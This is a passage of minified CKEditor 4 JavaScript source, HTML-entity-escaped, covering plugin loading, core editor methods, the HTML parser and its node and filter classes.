c=b.plugins,d=b.extraPlugins,f=b.removePlugins;if(d)var g=new RegExp(&quot;(?:^|,)(?:&quot;+d.replace(/\s*,\s*/g,&quot;|&quot;)+&quot;)(?\x3d,|$)&quot;,&quot;g&quot;),c=c.replace(g,&quot;&quot;),c=c+(&quot;,&quot;+d);if(f)var e=new RegExp(&quot;(?:^|,)(?:&quot;+f.replace(/\s*,\s*/g,&quot;|&quot;)+&quot;)(?\x3d,|$)&quot;,&quot;g&quot;),c=c.replace(e,&quot;&quot;);CKEDITOR.env.air&amp;&amp;(c+=&quot;,adobeair&quot;);CKEDITOR.plugins.load(c.split(&quot;,&quot;),function(c){var d=[],f=[],g=[];a.plugins=c;for(var l in c){var h=c[l],k=h.lang,r=null,m=h.requires,z;CKEDITOR.tools.isArray(m)&amp;&amp;(m=m.join(&quot;,&quot;));if(m&amp;&amp;(z=m.match(e)))for(;m=z.pop();)CKEDITOR.error(&quot;editor-plugin-required&quot;,
{plugin:m.replace(&quot;,&quot;,&quot;&quot;),requiredBy:l});k&amp;&amp;!a.lang[l]&amp;&amp;(k.split&amp;&amp;(k=k.split(&quot;,&quot;)),0&lt;=CKEDITOR.tools.indexOf(k,a.langCode)?r=a.langCode:(r=a.langCode.replace(/-.*/,&quot;&quot;),r=r!=a.langCode&amp;&amp;0&lt;=CKEDITOR.tools.indexOf(k,r)?r:0&lt;=CKEDITOR.tools.indexOf(k,&quot;en&quot;)?&quot;en&quot;:k[0]),h.langEntries&amp;&amp;h.langEntries[r]?(a.lang[l]=h.langEntries[r],r=null):g.push(CKEDITOR.getUrl(h.path+&quot;lang/&quot;+r+&quot;.js&quot;)));f.push(r);d.push(h)}CKEDITOR.scriptLoader.load(g,function(){for(var c=[&quot;beforeInit&quot;,&quot;init&quot;,&quot;afterInit&quot;],g=0;g&lt;c.length;g++)for(var e=
0;e&lt;d.length;e++){var l=d[e];0===g&amp;&amp;f[e]&amp;&amp;l.lang&amp;&amp;l.langEntries&amp;&amp;(a.lang[l.name]=l.langEntries[f[e]]);if(l[c[g]])l[c[g]](a)}a.fireOnce(&quot;pluginsLoaded&quot;);b.keystrokes&amp;&amp;a.setKeystroke(a.config.keystrokes);for(e=0;e&lt;a.config.blockedKeystrokes.length;e++)a.keystrokeHandler.blockedKeystrokes[a.config.blockedKeystrokes[e]]=1;a.status=&quot;loaded&quot;;a.fireOnce(&quot;loaded&quot;);CKEDITOR.fire(&quot;instanceLoaded&quot;,null,a)})})}function v(){var a=this.element;if(a&amp;&amp;this.elementMode!=CKEDITOR.ELEMENT_MODE_APPENDTO){var b=this.getData();
this.config.htmlEncodeOutput&amp;&amp;(b=CKEDITOR.tools.htmlEncode(b));a.is(&quot;textarea&quot;)?a.setValue(b):a.setHtml(b);return!0}return!1}a.prototype=CKEDITOR.editor.prototype;CKEDITOR.editor=a;var u=0,q={};CKEDITOR.tools.extend(CKEDITOR.editor.prototype,{addCommand:function(a,b){b.name=a.toLowerCase();var c=new CKEDITOR.command(this,b);this.mode&amp;&amp;d(this,c);return this.commands[a]=c},_attachToForm:function(){function a(b){c.updateElement();c._.required&amp;&amp;!d.getValue()&amp;&amp;!1===c.fire(&quot;required&quot;)&amp;&amp;b.data.preventDefault()}
function b(a){return!!(a&amp;&amp;a.call&amp;&amp;a.apply)}var c=this,d=c.element,f=new CKEDITOR.dom.element(d.$.form);d.is(&quot;textarea&quot;)&amp;&amp;f&amp;&amp;(f.on(&quot;submit&quot;,a),b(f.$.submit)&amp;&amp;(f.$.submit=CKEDITOR.tools.override(f.$.submit,function(b){return function(){a();b.apply?b.apply(this):b()}})),c.on(&quot;destroy&quot;,function(){f.removeListener(&quot;submit&quot;,a)}))},destroy:function(a){this.fire(&quot;beforeDestroy&quot;);!a&amp;&amp;v.call(this);this.editable(null);this.filter&amp;&amp;(this.filter.destroy(),delete this.filter);delete this.activeFilter;this.status=
&quot;destroyed&quot;;this.fire(&quot;destroy&quot;);this.removeAllListeners();CKEDITOR.remove(this);CKEDITOR.fire(&quot;instanceDestroyed&quot;,null,this)},elementPath:function(a){if(!a){a=this.getSelection();if(!a)return null;a=a.getStartElement()}return a?new CKEDITOR.dom.elementPath(a,this.editable()):null},createRange:function(){var a=this.editable();return a?new CKEDITOR.dom.range(a):null},execCommand:function(a,b){var c=this.getCommand(a),d={name:a,commandData:b,command:c};return c&amp;&amp;c.state!=CKEDITOR.TRISTATE_DISABLED&amp;&amp;
!1!==this.fire(&quot;beforeCommandExec&quot;,d)&amp;&amp;(d.returnValue=c.exec(d.commandData),!c.async&amp;&amp;!1!==this.fire(&quot;afterCommandExec&quot;,d))?d.returnValue:!1},getCommand:function(a){return this.commands[a]},getData:function(a){!a&amp;&amp;this.fire(&quot;beforeGetData&quot;);var b=this._.data;&quot;string&quot;!=typeof b&amp;&amp;(b=(b=this.element)&amp;&amp;this.elementMode==CKEDITOR.ELEMENT_MODE_REPLACE?b.is(&quot;textarea&quot;)?b.getValue():b.getHtml():&quot;&quot;);b={dataValue:b};!a&amp;&amp;this.fire(&quot;getData&quot;,b);return b.dataValue},getSnapshot:function(){var a=this.fire(&quot;getSnapshot&quot;);
&quot;string&quot;!=typeof a&amp;&amp;(a=(a=this.element)&amp;&amp;this.elementMode==CKEDITOR.ELEMENT_MODE_REPLACE?a.is(&quot;textarea&quot;)?a.getValue():a.getHtml():&quot;&quot;);return a},loadSnapshot:function(a){this.fire(&quot;loadSnapshot&quot;,a)},setData:function(a,b,c){var d=!0,f=b;b&amp;&amp;&quot;object&quot;==typeof b&amp;&amp;(c=b.internal,f=b.callback,d=!b.noSnapshot);!c&amp;&amp;d&amp;&amp;this.fire(&quot;saveSnapshot&quot;);if(f||!c)this.once(&quot;dataReady&quot;,function(a){!c&amp;&amp;d&amp;&amp;this.fire(&quot;saveSnapshot&quot;);f&amp;&amp;f.call(a.editor)});a={dataValue:a};!c&amp;&amp;this.fire(&quot;setData&quot;,a);this._.data=a.dataValue;
!c&amp;&amp;this.fire(&quot;afterSetData&quot;,a)},setReadOnly:function(a){a=null==a||a;this.readOnly!=a&amp;&amp;(this.readOnly=a,this.keystrokeHandler.blockedKeystrokes[8]=+a,this.editable().setReadOnly(a),this.fire(&quot;readOnly&quot;))},insertHtml:function(a,b,c){this.fire(&quot;insertHtml&quot;,{dataValue:a,mode:b,range:c})},insertText:function(a){this.fire(&quot;insertText&quot;,a)},insertElement:function(a){this.fire(&quot;insertElement&quot;,a)},getSelectedHtml:function(a){var b=this.editable(),c=this.getSelection(),c=c&amp;&amp;c.getRanges();if(!b||!c||0===c.length)return null;
for(var d=new CKEDITOR.dom.documentFragment,f,g,e,l=0;l&lt;c.length;l++){var h=c[l],k=h.startContainer;k.getName&amp;&amp;&quot;tr&quot;==k.getName()?(f||(f=k.getAscendant(&quot;table&quot;).clone(),f.append(k.getAscendant(&quot;tbody&quot;).clone()),d.append(f),f=f.findOne(&quot;tbody&quot;)),g&amp;&amp;g.equals(k)||(g=k,e=k.clone(),f.append(e)),e.append(h.cloneContents())):d.append(h.cloneContents())}b=f?d:b.getHtmlFromRange(c[0]);return a?b.getHtml():b},extractSelectedHtml:function(a,b){var c=this.editable(),d=this.getSelection().getRanges();if(!c||0===
d.length)return null;d=d[0];c=c.extractHtmlFromRange(d,b);b||this.getSelection().selectRanges([d]);return a?c.getHtml():c},focus:function(){this.fire(&quot;beforeFocus&quot;)},checkDirty:function(){return&quot;ready&quot;==this.status&amp;&amp;this._.previousValue!==this.getSnapshot()},resetDirty:function(){this._.previousValue=this.getSnapshot()},updateElement:function(){return v.call(this)},setKeystroke:function(){for(var a=this.keystrokeHandler.keystrokes,b=CKEDITOR.tools.isArray(arguments[0])?arguments[0]:[[].slice.call(arguments,
0)],c,d,f=b.length;f--;)c=b[f],d=0,CKEDITOR.tools.isArray(c)&amp;&amp;(d=c[1],c=c[0]),d?a[c]=d:delete a[c]},addFeature:function(a){return this.filter.addFeature(a)},setActiveFilter:function(a){a||(a=this.filter);this.activeFilter!==a&amp;&amp;(this.activeFilter=a,this.fire(&quot;activeFilterChange&quot;),a===this.filter?this.setActiveEnterMode(null,null):this.setActiveEnterMode(a.getAllowedEnterMode(this.enterMode),a.getAllowedEnterMode(this.shiftEnterMode,!0)))},setActiveEnterMode:function(a,b){a=a?this.blockless?CKEDITOR.ENTER_BR:
a:this.enterMode;b=b?this.blockless?CKEDITOR.ENTER_BR:b:this.shiftEnterMode;if(this.activeEnterMode!=a||this.activeShiftEnterMode!=b)this.activeEnterMode=a,this.activeShiftEnterMode=b,this.fire(&quot;activeEnterModeChange&quot;)},showNotification:function(a){alert(a)}})}(),CKEDITOR.ELEMENT_MODE_NONE=0,CKEDITOR.ELEMENT_MODE_REPLACE=1,CKEDITOR.ELEMENT_MODE_APPENDTO=2,CKEDITOR.ELEMENT_MODE_INLINE=3,CKEDITOR.htmlParser=function(){this._={htmlPartsRegex:/&lt;(?:(?:\/([^&gt;]+)&gt;)|(?:!--([\S|\s]*?)--\x3e)|(?:([^\/\s&gt;]+)((?:\s+[\w\-:.]+(?:\s*=\s*?(?:(?:&quot;[^&quot;]*&quot;)|(?:&#039;[^&#039;]*&#039;)|[^\s&quot;&#039;\/&gt;]+))?)*)[\S\s]*?(\/?)&gt;))/g}},
function(){var a=/([\w\-:.]+)(?:(?:\s*=\s*(?:(?:&quot;([^&quot;]*)&quot;)|(?:&#039;([^&#039;]*)&#039;)|([^\s&gt;]+)))|(?=\s|$))/g,e={checked:1,compact:1,declare:1,defer:1,disabled:1,ismap:1,multiple:1,nohref:1,noresize:1,noshade:1,nowrap:1,readonly:1,selected:1};CKEDITOR.htmlParser.prototype={onTagOpen:function(){},onTagClose:function(){},onText:function(){},onCDATA:function(){},onComment:function(){},parse:function(b){for(var c,d,k=0,m;c=this._.htmlPartsRegex.exec(b);){d=c.index;if(d&gt;k)if(k=b.substring(k,d),m)m.push(k);else this.onText(k);
k=this._.htmlPartsRegex.lastIndex;if(d=c[1])if(d=d.toLowerCase(),m&amp;&amp;CKEDITOR.dtd.$cdata[d]&amp;&amp;(this.onCDATA(m.join(&quot;&quot;)),m=null),!m){this.onTagClose(d);continue}if(m)m.push(c[0]);else if(d=c[3]){if(d=d.toLowerCase(),!/=&quot;/.test(d)){var f={},h,l=c[4];c=!!c[5];if(l)for(;h=a.exec(l);){var g=h[1].toLowerCase();h=h[2]||h[3]||h[4]||&quot;&quot;;f[g]=!h&amp;&amp;e[g]?g:CKEDITOR.tools.htmlDecodeAttr(h)}this.onTagOpen(d,f,c);!m&amp;&amp;CKEDITOR.dtd.$cdata[d]&amp;&amp;(m=[])}}else if(d=c[2])this.onComment(d)}if(b.length&gt;k)this.onText(b.substring(k,
b.length))}}}(),CKEDITOR.htmlParser.basicWriter=CKEDITOR.tools.createClass({$:function(){this._={output:[]}},proto:{openTag:function(a){this._.output.push(&quot;\x3c&quot;,a)},openTagClose:function(a,e){e?this._.output.push(&quot; /\x3e&quot;):this._.output.push(&quot;\x3e&quot;)},attribute:function(a,e){&quot;string&quot;==typeof e&amp;&amp;(e=CKEDITOR.tools.htmlEncodeAttr(e));this._.output.push(&quot; &quot;,a,&#039;\x3d&quot;&#039;,e,&#039;&quot;&#039;)},closeTag:function(a){this._.output.push(&quot;\x3c/&quot;,a,&quot;\x3e&quot;)},text:function(a){this._.output.push(a)},comment:function(a){this._.output.push(&quot;\x3c!--&quot;,
a,&quot;--\x3e&quot;)},write:function(a){this._.output.push(a)},reset:function(){this._.output=[];this._.indent=!1},getHtml:function(a){var e=this._.output.join(&quot;&quot;);a&amp;&amp;this.reset();return e}}}),&quot;use strict&quot;,function(){CKEDITOR.htmlParser.node=function(){};CKEDITOR.htmlParser.node.prototype={remove:function(){var a=this.parent.children,e=CKEDITOR.tools.indexOf(a,this),b=this.previous,c=this.next;b&amp;&amp;(b.next=c);c&amp;&amp;(c.previous=b);a.splice(e,1);this.parent=null},replaceWith:function(a){var e=this.parent.children,
b=CKEDITOR.tools.indexOf(e,this),c=a.previous=this.previous,d=a.next=this.next;c&amp;&amp;(c.next=a);d&amp;&amp;(d.previous=a);e[b]=a;a.parent=this.parent;this.parent=null},insertAfter:function(a){var e=a.parent.children,b=CKEDITOR.tools.indexOf(e,a),c=a.next;e.splice(b+1,0,this);this.next=a.next;this.previous=a;a.next=this;c&amp;&amp;(c.previous=this);this.parent=a.parent},insertBefore:function(a){var e=a.parent.children,b=CKEDITOR.tools.indexOf(e,a);e.splice(b,0,this);this.next=a;(this.previous=a.previous)&amp;&amp;(a.previous.next=
this);a.previous=this;this.parent=a.parent},getAscendant:function(a){var e=&quot;function&quot;==typeof a?a:&quot;string&quot;==typeof a?function(b){return b.name==a}:function(b){return b.name in a},b=this.parent;for(;b&amp;&amp;b.type==CKEDITOR.NODE_ELEMENT;){if(e(b))return b;b=b.parent}return null},wrapWith:function(a){this.replaceWith(a);a.add(this);return a},getIndex:function(){return CKEDITOR.tools.indexOf(this.parent.children,this)},getFilterContext:function(a){return a||{}}}}(),&quot;use strict&quot;,CKEDITOR.htmlParser.comment=
function(a){this.value=a;this._={isBlockLike:!1}},CKEDITOR.htmlParser.comment.prototype=CKEDITOR.tools.extend(new CKEDITOR.htmlParser.node,{type:CKEDITOR.NODE_COMMENT,filter:function(a,e){var b=this.value;if(!(b=a.onComment(e,b,this)))return this.remove(),!1;if(&quot;string&quot;!=typeof b)return this.replaceWith(b),!1;this.value=b;return!0},writeHtml:function(a,e){e&amp;&amp;this.filter(e);a.comment(this.value)}}),&quot;use strict&quot;,function(){CKEDITOR.htmlParser.text=function(a){this.value=a;this._={isBlockLike:!1}};CKEDITOR.htmlParser.text.prototype=
CKEDITOR.tools.extend(new CKEDITOR.htmlParser.node,{type:CKEDITOR.NODE_TEXT,filter:function(a,e){if(!(this.value=a.onText(e,this.value,this)))return this.remove(),!1},writeHtml:function(a,e){e&amp;&amp;this.filter(e);a.text(this.value)}})}(),&quot;use strict&quot;,function(){CKEDITOR.htmlParser.cdata=function(a){this.value=a};CKEDITOR.htmlParser.cdata.prototype=CKEDITOR.tools.extend(new CKEDITOR.htmlParser.node,{type:CKEDITOR.NODE_TEXT,filter:function(){},writeHtml:function(a){a.write(this.value)}})}(),&quot;use strict&quot;,
CKEDITOR.htmlParser.fragment=function(){this.children=[];this.parent=null;this._={isBlockLike:!0,hasInlineStarted:!1}},function(){function a(a){return a.attributes[&quot;data-cke-survive&quot;]?!1:&quot;a&quot;==a.name&amp;&amp;a.attributes.href||CKEDITOR.dtd.$removeEmpty[a.name]}var e=CKEDITOR.tools.extend({table:1,ul:1,ol:1,dl:1},CKEDITOR.dtd.table,CKEDITOR.dtd.ul,CKEDITOR.dtd.ol,CKEDITOR.dtd.dl),b={ol:1,ul:1},c=CKEDITOR.tools.extend({},{html:1},CKEDITOR.dtd.html,CKEDITOR.dtd.body,CKEDITOR.dtd.head,{style:1,script:1}),d={ul:&quot;li&quot;,
ol:&quot;li&quot;,dl:&quot;dd&quot;,table:&quot;tbody&quot;,tbody:&quot;tr&quot;,thead:&quot;tr&quot;,tfoot:&quot;tr&quot;,tr:&quot;td&quot;};CKEDITOR.htmlParser.fragment.fromHtml=function(k,m,f){function h(a){var b;if(0&lt;p.length)for(var c=0;c&lt;p.length;c++){var d=p[c],f=d.name,g=CKEDITOR.dtd[f],e=A.name&amp;&amp;CKEDITOR.dtd[A.name];e&amp;&amp;!e[f]||a&amp;&amp;g&amp;&amp;!g[a]&amp;&amp;CKEDITOR.dtd[a]?f==A.name&amp;&amp;(n(A,A.parent,1),c--):(b||(l(),b=1),d=d.clone(),d.parent=A,A=d,p.splice(c,1),c--)}}function l(){for(;y.length;)n(y.shift(),A)}function g(a){if(a._.isBlockLike&amp;&amp;&quot;pre&quot;!=a.name&amp;&amp;&quot;textarea&quot;!=a.name){var b=
a.children.length,c=a.children[b-1],d;c&amp;&amp;c.type==CKEDITOR.NODE_TEXT&amp;&amp;((d=CKEDITOR.tools.rtrim(c.value))?c.value=d:a.children.length=b-1)}}function n(b,c,d){c=c||A||t;var e=A;void 0===b.previous&amp;&amp;(v(c,b)&amp;&amp;(A=c,q.onTagOpen(f,{}),b.returnPoint=c=A),g(b),a(b)&amp;&amp;!b.children.length||c.add(b),&quot;pre&quot;==b.name&amp;&amp;(r=!1),&quot;textarea&quot;==b.name&amp;&amp;(z=!1));b.returnPoint?(A=b.returnPoint,delete b.returnPoint):A=d?c:e}function v(a,b){if((a==t||&quot;body&quot;==a.name)&amp;&amp;f&amp;&amp;(!a.name||CKEDITOR.dtd[a.name][f])){var c,d;return(c=b.attributes&amp;&amp;
(d=b.attributes[&quot;data-cke-real-element-type&quot;])?d:b.name)&amp;&amp;c in CKEDITOR.dtd.$inline&amp;&amp;!(c in CKEDITOR.dtd.head)&amp;&amp;!b.isOrphan||b.type==CKEDITOR.NODE_TEXT}}function u(a,b){return a in CKEDITOR.dtd.$listItem||a in CKEDITOR.dtd.$tableContent?a==b||&quot;dt&quot;==a&amp;&amp;&quot;dd&quot;==b||&quot;dd&quot;==a&amp;&amp;&quot;dt&quot;==b:!1}var q=new CKEDITOR.htmlParser,t=m instanceof CKEDITOR.htmlParser.element?m:&quot;string&quot;==typeof m?new CKEDITOR.htmlParser.element(m):new CKEDITOR.htmlParser.fragment,p=[],y=[],A=t,z=&quot;textarea&quot;==t.name,r=&quot;pre&quot;==t.name;q.onTagOpen=
function(d,f,g,k){f=new CKEDITOR.htmlParser.element(d,f);f.isUnknown&amp;&amp;g&amp;&amp;(f.isEmpty=!0);f.isOptionalClose=k;if(a(f))p.push(f);else{if(&quot;pre&quot;==d)r=!0;else{if(&quot;br&quot;==d&amp;&amp;r){A.add(new CKEDITOR.htmlParser.text(&quot;\n&quot;));return}&quot;textarea&quot;==d&amp;&amp;(z=!0)}if(&quot;br&quot;==d)y.push(f);else{for(;!(k=(g=A.name)?CKEDITOR.dtd[g]||(A._.isBlockLike?CKEDITOR.dtd.div:CKEDITOR.dtd.span):c,f.isUnknown||A.isUnknown||k[d]);)if(A.isOptionalClose)q.onTagClose(g);else if(d in b&amp;&amp;g in b)g=A.children,(g=g[g.length-1])&amp;&amp;&quot;li&quot;==g.name||n(g=new CKEDITOR.htmlParser.element(&quot;li&quot;),
A),!f.returnPoint&amp;&amp;(f.returnPoint=A),A=g;else if(d in CKEDITOR.dtd.$listItem&amp;&amp;!u(d,g))q.onTagOpen(&quot;li&quot;==d?&quot;ul&quot;:&quot;dl&quot;,{},0,1);else if(g in e&amp;&amp;!u(d,g))!f.returnPoint&amp;&amp;(f.returnPoint=A),A=A.parent;else if(g in CKEDITOR.dtd.$inline&amp;&amp;p.unshift(A),A.parent)n(A,A.parent,1);else{f.isOrphan=1;break}h(d);l();f.parent=A;f.isEmpty?n(f):A=f}}};q.onTagClose=function(a){for(var b=p.length-1;0&lt;=b;b--)if(a==p[b].name){p.splice(b,1);return}for(var c=[],d=[],g=A;g!=t&amp;&amp;g.name!=a;)g._.isBlockLike||d.unshift(g),c.push(g),
g=g.returnPoint||g.parent;if(g!=t){for(b=0;b&lt;c.length;b++){var e=c[b];n(e,e.parent)}A=g;g._.isBlockLike&amp;&amp;l();n(g,g.parent);g==A&amp;&amp;(A=A.parent);p=p.concat(d)}&quot;body&quot;==a&amp;&amp;(f=!1)};q.onText=function(a){if(!(A._.hasInlineStarted&amp;&amp;!y.length||r||z)&amp;&amp;(a=CKEDITOR.tools.ltrim(a),0===a.length))return;var b=A.name,g=b?CKEDITOR.dtd[b]||(A._.isBlockLike?CKEDITOR.dtd.div:CKEDITOR.dtd.span):c;if(!z&amp;&amp;!g[&quot;#&quot;]&amp;&amp;b in e)q.onTagOpen(d[b]||&quot;&quot;),q.onText(a);else{l();h();r||z||(a=a.replace(/[\t\r\n ]{2,}|[\t\r\n]/g,&quot; &quot;));a=
new CKEDITOR.htmlParser.text(a);if(v(A,a))this.onTagOpen(f,{},0,1);A.add(a)}};q.onCDATA=function(a){A.add(new CKEDITOR.htmlParser.cdata(a))};q.onComment=function(a){l();h();A.add(new CKEDITOR.htmlParser.comment(a))};q.parse(k);for(l();A!=t;)n(A,A.parent,1);g(t);return t};CKEDITOR.htmlParser.fragment.prototype={type:CKEDITOR.NODE_DOCUMENT_FRAGMENT,add:function(a,b){isNaN(b)&amp;&amp;(b=this.children.length);var c=0&lt;b?this.children[b-1]:null;if(c){if(a._.isBlockLike&amp;&amp;c.type==CKEDITOR.NODE_TEXT&amp;&amp;(c.value=CKEDITOR.tools.rtrim(c.value),
0===c.value.length)){this.children.pop();this.add(a);return}c.next=a}a.previous=c;a.parent=this;this.children.splice(b,0,a);this._.hasInlineStarted||(this._.hasInlineStarted=a.type==CKEDITOR.NODE_TEXT||a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;!a._.isBlockLike)},filter:function(a,b){b=this.getFilterContext(b);a.onRoot(b,this);this.filterChildren(a,!1,b)},filterChildren:function(a,b,c){if(this.childrenFilteredBy!=a.id){c=this.getFilterContext(c);if(b&amp;&amp;!this.parent)a.onRoot(c,this);this.childrenFilteredBy=a.id;
for(b=0;b&lt;this.children.length;b++)!1===this.children[b].filter(a,c)&amp;&amp;b--}},writeHtml:function(a,b){b&amp;&amp;this.filter(b);this.writeChildrenHtml(a)},writeChildrenHtml:function(a,b,c){var d=this.getFilterContext();if(c&amp;&amp;!this.parent&amp;&amp;b)b.onRoot(d,this);b&amp;&amp;this.filterChildren(b,!1,d);b=0;c=this.children;for(d=c.length;b&lt;d;b++)c[b].writeHtml(a)},forEach:function(a,b,c){if(!(c||b&amp;&amp;this.type!=b))var d=a(this);if(!1!==d){c=this.children;for(var e=0;e&lt;c.length;e++)d=c[e],d.type==CKEDITOR.NODE_ELEMENT?d.forEach(a,
b):b&amp;&amp;d.type!=b||a(d)}},getFilterContext:function(a){return a||{}}}}(),&quot;use strict&quot;,function(){function a(){this.rules=[]}function e(b,c,d,e){var m,f;for(m in c)(f=b[m])||(f=b[m]=new a),f.add(c[m],d,e)}CKEDITOR.htmlParser.filter=CKEDITOR.tools.createClass({$:function(b){this.id=CKEDITOR.tools.getNextNumber();this.elementNameRules=new a;this.attributeNameRules=new a;this.elementsRules={};this.attributesRules={};this.textRules=new a;this.commentRules=new a;this.rootRules=new a;b&amp;&amp;this.addRules(b,10)},
proto:{addRules:function(a,c){var d;&quot;number&quot;==typeof c?d=c:c&amp;&amp;&quot;priority&quot;in c&amp;&amp;(d=c.priority);&quot;number&quot;!=typeof d&amp;&amp;(d=10);&quot;object&quot;!=typeof c&amp;&amp;(c={});a.elementNames&amp;&amp;this.elementNameRules.addMany(a.elementNames,d,c);a.attributeNames&amp;&amp;this.attributeNameRules.addMany(a.attributeNames,d,c);a.elements&amp;&amp;e(this.elementsRules,a.elements,d,c);a.attributes&amp;&amp;e(this.attributesRules,a.attributes,d,c);a.text&amp;&amp;this.textRules.add(a.text,d,c);a.comment&amp;&amp;this.commentRules.add(a.comment,d,c);a.root&amp;&amp;this.rootRules.add(a.root,
d,c)},applyTo:function(a){a.filter(this)},onElementName:function(a,c){return this.elementNameRules.execOnName(a,c)},onAttributeName:function(a,c){return this.attributeNameRules.execOnName(a,c)},onText:function(a,c,d){return this.textRules.exec(a,c,d)},onComment:function(a,c,d){return this.commentRules.exec(a,c,d)},onRoot:function(a,c){return this.rootRules.exec(a,c)},onElement:function(a,c){for(var d=[this.elementsRules[&quot;^&quot;],this.elementsRules[c.name],this.elementsRules.$],e,m=0;3&gt;m;m++)if(e=d[m]){e=
e.exec(a,c,this);if(!1===e)return null;if(e&amp;&amp;e!=c)return this.onNode(a,e);if(c.parent&amp;&amp;!c.name)break}return c},onNode:function(a,c){var d=c.type;return d==CKEDITOR.NODE_ELEMENT?this.onElement(a,c):d==CKEDITOR.NODE_TEXT?new CKEDITOR.htmlParser.text(this.onText(a,c.value)):d==CKEDITOR.NODE_COMMENT?new CKEDITOR.htmlParser.comment(this.onComment(a,c.value)):null},onAttribute:function(a,c,d,e){return(d=this.attributesRules[d])?d.exec(a,e,c,this):e}}});CKEDITOR.htmlParser.filterRulesGroup=a;a.prototype=
{add:function(a,c,d){this.rules.splice(this.findIndex(c),0,{value:a,priority:c,options:d})},addMany:function(a,c,d){for(var e=[this.findIndex(c),0],m=0,f=a.length;m&lt;f;m++)e.push({value:a[m],priority:c,options:d});this.rules.splice.apply(this.rules,e)},findIndex:function(a){for(var c=this.rules,d=c.length-1;0&lt;=d&amp;&amp;a&lt;c[d].priority;)d--;return d+1},exec:function(a,c){var d=c instanceof CKEDITOR.htmlParser.node||c instanceof CKEDITOR.htmlParser.fragment,e=Array.prototype.slice.call(arguments,1),m=this.rules,
f=m.length,h,l,g,n;for(n=0;n&lt;f;n++)if(d&amp;&amp;(h=c.type,l=c.name),g=m[n],!(a.nonEditable&amp;&amp;!g.options.applyToAll||a.nestedEditable&amp;&amp;g.options.excludeNestedEditable)){g=g.value.apply(null,e);if(!1===g||d&amp;&amp;g&amp;&amp;(g.name!=l||g.type!=h))return g;null!=g&amp;&amp;(e[0]=c=g)}return c},execOnName:function(a,c){for(var d=0,e=this.rules,m=e.length,f;c&amp;&amp;d&lt;m;d++)f=e[d],a.nonEditable&amp;&amp;!f.options.applyToAll||a.nestedEditable&amp;&amp;f.options.excludeNestedEditable||(c=c.replace(f.value[0],f.value[1]));return c}}}(),function(){function a(a,
f){function g(a){return a||CKEDITOR.env.needsNbspFiller?new CKEDITOR.htmlParser.text(&quot; &quot;):new CKEDITOR.htmlParser.element(&quot;br&quot;,{&quot;data-cke-bogus&quot;:1})}function e(a,d){return function(f){if(f.type!=CKEDITOR.NODE_DOCUMENT_FRAGMENT){var e=[],h=b(f),r,m;if(h)for(l(h,1)&amp;&amp;e.push(h);h;)k(h)&amp;&amp;(r=c(h))&amp;&amp;l(r)&amp;&amp;((m=c(r))&amp;&amp;!k(m)?e.push(r):(g(z).insertAfter(r),r.remove())),h=h.previous;for(h=0;h&lt;e.length;h++)e[h].remove();if(e=!a||!1!==(&quot;function&quot;==typeof d?d(f):d))z||CKEDITOR.env.needsBrFiller||f.type!=CKEDITOR.NODE_DOCUMENT_FRAGMENT?
z||CKEDITOR.env.needsBrFiller||!(7&lt;document.documentMode||f.name in CKEDITOR.dtd.tr||f.name in CKEDITOR.dtd.$listItem)?(e=b(f),e=!e||&quot;form&quot;==f.name&amp;&amp;&quot;input&quot;==e.name):e=!1:e=!1;e&amp;&amp;f.add(g(a))}}}function l(a,b){if((!z||CKEDITOR.env.needsBrFiller)&amp;&amp;a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;&quot;br&quot;==a.name&amp;&amp;!a.attributes[&quot;data-cke-eol&quot;])return!0;var c;return a.type==CKEDITOR.NODE_TEXT&amp;&amp;(c=a.value.match(p))&amp;&amp;(c.index&amp;&amp;((new CKEDITOR.htmlParser.text(a.value.substring(0,c.index))).insertBefore(a),a.value=c[0]),!CKEDITOR.env.needsBrFiller&amp;&amp;
z&amp;&amp;(!b||a.parent.name in w)||!z&amp;&amp;((c=a.previous)&amp;&amp;&quot;br&quot;==c.name||!c||k(c)))?!0:!1}var h={elements:{}},z=&quot;html&quot;==f,w=CKEDITOR.tools.extend({},r),n;for(n in w)&quot;#&quot;in A[n]||delete w[n];for(n in w)h.elements[n]=e(z,a.config.fillEmptyBlocks);h.root=e(z,!1);h.elements.br=function(a){return function(b){if(b.parent.type!=CKEDITOR.NODE_DOCUMENT_FRAGMENT){var f=b.attributes;if(&quot;data-cke-bogus&quot;in f||&quot;data-cke-eol&quot;in f)delete f[&quot;data-cke-bogus&quot;];else{for(f=b.next;f&amp;&amp;d(f);)f=f.next;var e=c(b);!f&amp;&amp;k(b.parent)?m(b.parent,
g(a)):k(f)&amp;&amp;e&amp;&amp;!k(e)&amp;&amp;g(a).insertBefore(f)}}}}(z);return h}function e(a,b){return a!=CKEDITOR.ENTER_BR&amp;&amp;!1!==b?a==CKEDITOR.ENTER_DIV?&quot;div&quot;:&quot;p&quot;:!1}function b(a){for(a=a.children[a.children.length-1];a&amp;&amp;d(a);)a=a.previous;return a}function c(a){for(a=a.previous;a&amp;&amp;d(a);)a=a.previous;return a}function d(a){return a.type==CKEDITOR.NODE_TEXT&amp;&amp;!CKEDITOR.tools.trim(a.value)||a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;a.attributes[&quot;data-cke-bookmark&quot;]}function k(a){return a&amp;&amp;(a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;a.name in
r||a.type==CKEDITOR.NODE_DOCUMENT_FRAGMENT)}function m(a,b){var c=a.children[a.children.length-1];a.children.push(b);b.parent=a;c&amp;&amp;(c.next=b,b.previous=c)}function f(a){a=a.attributes;&quot;false&quot;!=a.contenteditable&amp;&amp;(a[&quot;data-cke-editable&quot;]=a.contenteditable?&quot;true&quot;:1);a.contenteditable=&quot;false&quot;}function h(a){a=a.attributes;switch(a[&quot;data-cke-editable&quot;]){case &quot;true&quot;:a.contenteditable=&quot;true&quot;;break;case &quot;1&quot;:delete a.contenteditable}}function l(a){return a.replace(D,function(a,b,c){return&quot;\x3c&quot;+b+c.replace(F,
